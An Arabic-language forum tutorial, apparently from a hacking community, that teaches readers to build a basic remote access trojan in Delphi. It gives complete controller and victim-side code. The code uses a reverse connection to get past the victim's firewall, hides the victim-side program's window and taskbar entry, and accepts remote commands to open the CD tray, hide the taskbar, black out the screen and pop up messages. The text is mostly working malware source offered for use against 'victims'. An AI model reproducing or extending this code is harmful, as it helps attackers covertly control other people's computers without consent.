[شرح] إصنع برنامج إختراقك الاول

السلام عليكم ورحمة الله وبركاته

في هذا الموضوع راح نتطرق إلى كيفية صنع برنامج إختراق بسيط لفهم فكرة برامج الإختراق بشكل عام.

البرنامج جاهزا هنا 

http://vb.ehcommunity.com/f168/t81637/

قبل الغوص في كيفية صنع البرنامج, لابد لنا أن نفهم الأسس النظرية لعملية برمجه برامج الإختراق.

برامج الإختراق البعيدة تعتمد على الشبكة دائما مما يعني أنه لابد لنا من إستعمال المكونات الخاصة بالتعامل مع الشبكات في دلفي.

إضافة إلى ذلك, برامج الإختراق تطبق الكثير من الأوامر على نظام ويندوز مما يعني أنه يجب على المبرمج الإلمام ولو قليلا بالـ APIs الخاصة بويندوز.

إضغط هنا لمعرفة ماهي الـ APIs

برامج الإختراق تتعامل مع الذاكره كثيرا, إذا يجب أن نكون ملمين بطرق التعامل مع الذاكره.

كذلك يوجد العديد من الجوانب والنواحي والمهارات التي يجب علينا الإلمام بها من أجل صنع برنامج رائع.

كل جزء من هذه الأجزاء يعد بحر بحد ذاته ولكن عند الإلمام بمبادئها يمكننا عندها التقدم أكثر وأكثر في مهارات كتابتنا لبرامج الإختراق.

في الوقت الحالي ومن أجل عدم تعقيد الأمور, لنتناول كيفية عمل مكونات الشبكة في البرامج التي تعتمد على الإتصال العكسي.

يوجد مكونان مشهوران في الدلفي وأيضا في العديد من لغات البرمجة الآخرى وهما:

SocketClient

SocketServer

عند وضع مكون الكلاينت على برنامجنا ووضع مكون السيرفر على سيرفرنا فإن الذي سيحصل هو أن مكون الكلاينت سيقوم بالإتصال بالسيرفر. 

ولكن في البرامج التي تعتمد على الإتصال العكسي يكون الأمر مختلف.

يكون مكون الكلاينت على سيرفرنا ومكون السيرفر على برنامجنا.

مما يعني أن الضحايا يتصلون بنا وليس نحن من يتصل بهم.

إحدى الفوائد الكبيرة من الإتصال العكسي هو أن الجدار الناري لدى ضحايانا لا يقوم بحجب السيرفر.

هذه صورة توضح أكثر تركيبة الإتصال العكسي.



قد يأخذ الموضوع قليلا من الوقت ليستوعبه الدماغ.

فكما ترون الأسماء الظاهريه معاكسه للوظائف الداخليه وأسماء المكونات.

لابد من إبقاء عقلك في حالة تركيز أثناء البرمجه لكي لا يختلط عليك الأمر.

حسنا, والآن بعد إنتهاء الشرح النظري لنقم بالعمل.


1. الكلاينت او العميل

قم بتشغيل الدلفي, ملف, جديد, مشروع VCL

يمكنك الرجوع هنا في حالة صعوبة الفهم

http://vb.ehcommunity.com/f168/t81632/

بعد إنشاء المشروع قم بسحب وإسقاط 6 أزرار على النافذة الخاصة ببرنامجك

الآن قم بالضغط على أول زر ثم الذهاب إلى مفتش الخصائص وإبحث عن خاصية الـ Caption

وقم بتغييرها إلى Show Message

الآن قمنا بتغيير النص داخل الزر إلى أعلاه ولكن لاحظوا بأننا لم نغير إسم الزر.

قم بالبحث عن خاصية الـ Name وقم بتسميتها SMBtn

الإسم أعلاه هو إختصار لهذه الثلاث كلمات Show Message Button

قم بالإنتقال للزر الثاني وعمل نفس الطريقة إلى أنت تنتهي من الأزرار السته.

الزر الثاني

Caption: Show TaskBar
Name: STBtn

الزر الثالث

Caption: Hide TaskBar
Name: HTBtn

الزر الرابع

Caption: Open CD
Name: OpenCDBtn

الزر الخامس

Caption: Kill Server
Name: KillBtn

الزر السادس

Caption: Hide Screen
Name: HSBtn

الآن انتهينا من تسميه الأزرار وتغيير النصوص داخلها. خذ وقتك في تحريك الأزرار على النافذة وتحديد حجمها وترتيبها ليصبح شكلها جميلا.

هذا هو شكل برنامجي:



الآن لنقم بالبحث على مكون الـ TServerSocket في شريط الـ Internet بلوحة الأدوات.

قم بسحبة وإسقاطه على نافذة برنامجك.

ملحوظة: مكونات الـ TServerSocket, TClientSocket غير متوفريين افتراضيا في بيئة دلفي, يتوجب عليك تنصيبهما من مكتبة دلفي وذلك عن طريق الذهاب إلى شريط الأدوات في الأعلى واختيار Component ثم Install Packages ثم Add ثم البحث عن ملف dclSockets160.bpl في مسار C:\Program Files (x86)\Embarcadero\RAD Studio\9.0\bin ثم إختياره وضغط موافق.

ستجد الآن المكونات موجوده في قسم الـ Internet في لوحة الأدوات.






الآن قم بإختيار مكون السيرفر سوكت عن طريق الضغط عليه بالماوس ضغطه واحده.

قم بالذهاب إلى مفتش الخصائص وتغيير إسم المكون الـ Name إلى Server

قم الآن بالضغط على نافذة برنامج دون الضغط على أي مكونات منها ثم قم بالذهاب إلى علامة تبويب الـ Events وابحث عن الـ FormCreate اضغط ضغطتين على الفراغ الذي أمامها وألصق هذه الأكواد بين كلمتي Begin و End:
[/COLOR]

الكود:

Server.Port := 450;
Server.Active := True;

[COLOR=White]

هكذا نكون قد إنتهينا من مرحلة التصميم والتسميه والترتيب.

حان وقت الأكواد:

قم بالضغط على آخر زر من أزرار برنامجك ضغتين وهو زر الـ Hide Screen

سيتم نقلك الآن إلى نافذة الأكواد, وسترى مؤشر الكتابة يومض بين كلمتي

Begin

End

قم بنسخ وإلصاق الأكواد التاليه بين هاتين الكلمتين:

الكود:

Server.Socket.Connections[0].SendText('Hide Screen');

نفس الإجراء لبقية الأزرة ماعدا Show Message

زر الـ Kill Server

الكود:

Server.Socket.Connections[0].SendText('Kill');

زر الـ Open CD

الكود:

Server.Socket.Connections[0].SendText('Open CD');

زر الـ Hide TaskBar

الكود:

Server.Socket.Connections[0].SendText('Hide TaskBar');

زر الـ Show TaskBar

الكود:

Server.Socket.Connections[0].SendText('Show TaskBar');

بالنسبة لزر الـ Show Message فهو يختلف قليلا عن البقية.

قبل الضغط عليه قم بالذهاب إلى ملف جديد ثم إختيار VCL Form - Delphi



لا تقم بإختيار أول إختيار VCL Forms Application وإلا سيتم إنشاء مشروع جديد.

قمت الآن بإضافة نافذة جديده فقط للبرنامج الحالي.

قم بالذهاب إلى نافذة الأكواد عن طريق علامة التبويب Code التي في أسفل المترجم في الوسط.

سترى أكواد النافذة أمامك

إبحث عن قسم الـ Uses لديك وأضف كلمة Unit1 

مثال:

الكود:

 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Unit1;

عد إلى نافذة برنامجك الرئيسية إلى قسم الأكواد وإكتب تحت كلمة Implementation الكلمات التاليه Uses Unit2

مثال:

الكود:

 
implementation

{$R *.dfm}

Uses Unit2

الآن عد من جديد إلى النافذة الجديدة التي أضفتها مسبقا وقم بسحب زر TButton وصندوق كتابه TEdit وأسقطهما على النافذة

قم بتعيين الخصائص اللازمة للمكونات سواء من الأسماء, النصوص إلخ.

قم بتسميه الصندوق بـ MsgEdit والزر بـ SendBtn 

الآن قم بالضغط على الزر مرتين لتظهر نافذة الأكواد وقم بإلصاق الكود التالي بين الكلمتين Begin و End

الكود:

 
MainForm.Server.Socket.Connections[0].SendText('1' + MsgEdit.Text);
MsgForm.Close

بهذا نكون قد إنتهينا من الكلاينت أو العميل.


2. السيرفر/الخادم

قم بحفظ المشروع وإغلاقه وإبدأ مشروعا جديدا.

بنفس الخطوات > ملف جديد مشروع VCL

قبل البدء في أي شئ لابد لنا أن نجعل خادمنا خفيا وغير ظاهرا للضحيه وذلك عن طريق الذهاب إلى قائمة Project في الأعلى بجانب ملف, تعديل, بحث وإختيار كلمة View source لمشاهدة الملف المصدري الأساسي للبرنامج.

ستجد أكواد مقاربة لهذه:

الكود:

 
program MServer;

uses
  Vcl.Forms,
  Server in 'Server.pas' {ServerForm};

{$R *.res}

begin
  Application.Initialize;
  Application.MainFormOnTaskbar := True;
  Application.CreateForm(TServerForm, ServerForm);
  Application.Run;
end.

ركز على مابين الـ Begin والـ End 

نريد في البداية إضافة هذه الأكواد تحت ثالث سطر وهو الـ CreateForm

الكود:

 
  Application.ShowMainForm := False;
  ServerForm.Visible := False;

ServerForm هو إسم النافذة الذي عينته أثناء التعديل في مفتش الخصائص. إفتراضيا, سيكون إسمه Form1 لديك.

أيضا يجب أن نمنع خادمنا/السيرفر من الظهور في شريط إبدأ عن طريق تغيير كلمة True إلى False في الكود التالي:

الكود:

 
  Application.MainFormOnTaskbar := False;

ستصبح النتيجه في النهايه مقاربه لهذه:

الكود:

 
program MServer;

uses
  Vcl.Forms,
  Server in 'Server.pas' {ServerForm};

{$R *.res}

begin
  Application.Initialize;
  Application.MainFormOnTaskbar := False;
  Application.CreateForm(TServerForm, ServerForm);
  Application.ShowMainForm := False;
  ServerForm.Visible := False;
  Application.Run;
end.

الآن عد إلى النافذة وإبحث عن مكون الـ TClientSocket في لوحة الأدوات. إسحبه وأسقطه على النافذة ثم قم بتغيير إسمه إلى Client. إذهب إلى علامة التبويب Events في مفتش الخصائص في الأعلى وإبحث عن OnClientRead وإضغط ضغطتين على الفراغ المقابل لها لتنتقل إلى نافذة الأكواد.

ألصق الأكواد التاليه بين كلمتي Begin و End:

الكود:

 

Command := Client.Socket.ReceiveText;

if command = 'Open CD' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);
end

else if command = 'Hide Screen' then
Begin
Application.MainForm.Visible := True;
ServerForm.BorderStyle := bsNone;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, Screen.Width, Screen.Height, 0);
end

else if command = 'Hide TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_HIDE);
ShowWindow(FindWindow('Button', 'Start'), SW_HIDE);
end

else if command = 'Show TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_SHOW);
ShowWindow(FindWindow('Button', 'Start'), SW_SHOW);
end

else if command[1] = '1' then
begin
Command[1] := ' ';
ShowMessage(Command);
end

else if command = 'Kill' then
begin
Application.Terminate
end;

تبقى بعض الأشياء البسيطه التي يجب إضافتها لإتمام السيرفر/الخادم.

الأولى هي تعريف متغير والثانية هي إضافة وحدة او كلاس من أجل أن يتم فتح مشغل الأقراص.

إنظر إلى الكود التالي:

الكود:

unit Server;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Web.Win.Sockets,
  System.Win.ScktComp, MMSystem; // أضف الـ MMSystems

type
  TServerForm = class(TForm)
    Client: TClientSocket;
    procedure ClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  ServerForm: TServerForm;
  Command: String; // قم بكتابة هذا السطر في هذه المنطقة بالذات لتعريف المتغير

implementation

{$R *.dfm}

procedure TServerForm.ClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Command := Client.Socket.ReceiveText;

if command = 'Open CD' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);
end

else if command = 'Hide Screen' then
Begin
Application.MainForm.Visible := True;
ServerForm.BorderStyle := bsNone;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, Screen.Width, Screen.Height, 0);
end

else if command = 'Hide TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_HIDE);
ShowWindow(FindWindow('Button', 'Start'), SW_HIDE);
end

else if command = 'Show TaskBar' then
begin
ShowWindow(Findwindow('Shell_TrayWnd',nil), SW_SHOW);
ShowWindow(FindWindow('Button', 'Start'), SW_SHOW);
end

else if command[1] = '1' then // إحدى علامات ضعف التصميم والتخطيط, تذكرها
begin
Command[1] := ' ';
ShowMessage(Command);
end

else if command = 'Kill' then
begin
Application.Terminate
end;

end;

end.

يجب أن تكون أكوادك مطابقة تقريبا للمكتوب إعلاه وبهذا نكون أتممنا السيرفر/الخادم ولله الحمد.

كما ترون فالفكرة كان هي عباره عن إرساله أوامر نصيه إلى خادمنا وبناء عليها يتم تنفيذ الأوامر المطلوبة.

يمكننا التواصل مع خادمنا بطرق أكثر إحترافيه وأكثر تعقيد ولكن المهم أننا فهمنا الفكرة بشكل عام.

أترى السطر المكتوب أمامه "إحدى علامات ضعف التصميم والتخطيط؟"

المشكلة هنا هو أن كل أمر من الأوامر يعتمد على نص يتم إرساله إلى الخادم. ولكن عندما أردنا إرسال رساله إلى الضحيه فالرساله هي عبارة عن نص. كيف يمككنا إذن إخبار السيرفر بعرض هذه الرساله وهو  يعتمد في الأساس على أوامر نصيه ؟

إحدى الطرق السريعة التي عملتها لحل هذه المشكلة كانت عباره عن إضافة رقم 1 إلى النص الذي نود إرساله وعند قراءة سيرفرنا(الكلاينت) لأول خانة وهي رقم 1 عندها سيعلم أنها رساله وسيقوم بحذف الرقم 1 من النص وعرض بقية النص.

نرجو أن تكونوا استفدتم من هذه التجربه ولو كانت بسيطه جدا ولكن تذكروا, العمل الجاد والتخطيط السليم هما أحد أهم عوامل النجاح خلف كل شئ.

بالتوفيق للجميع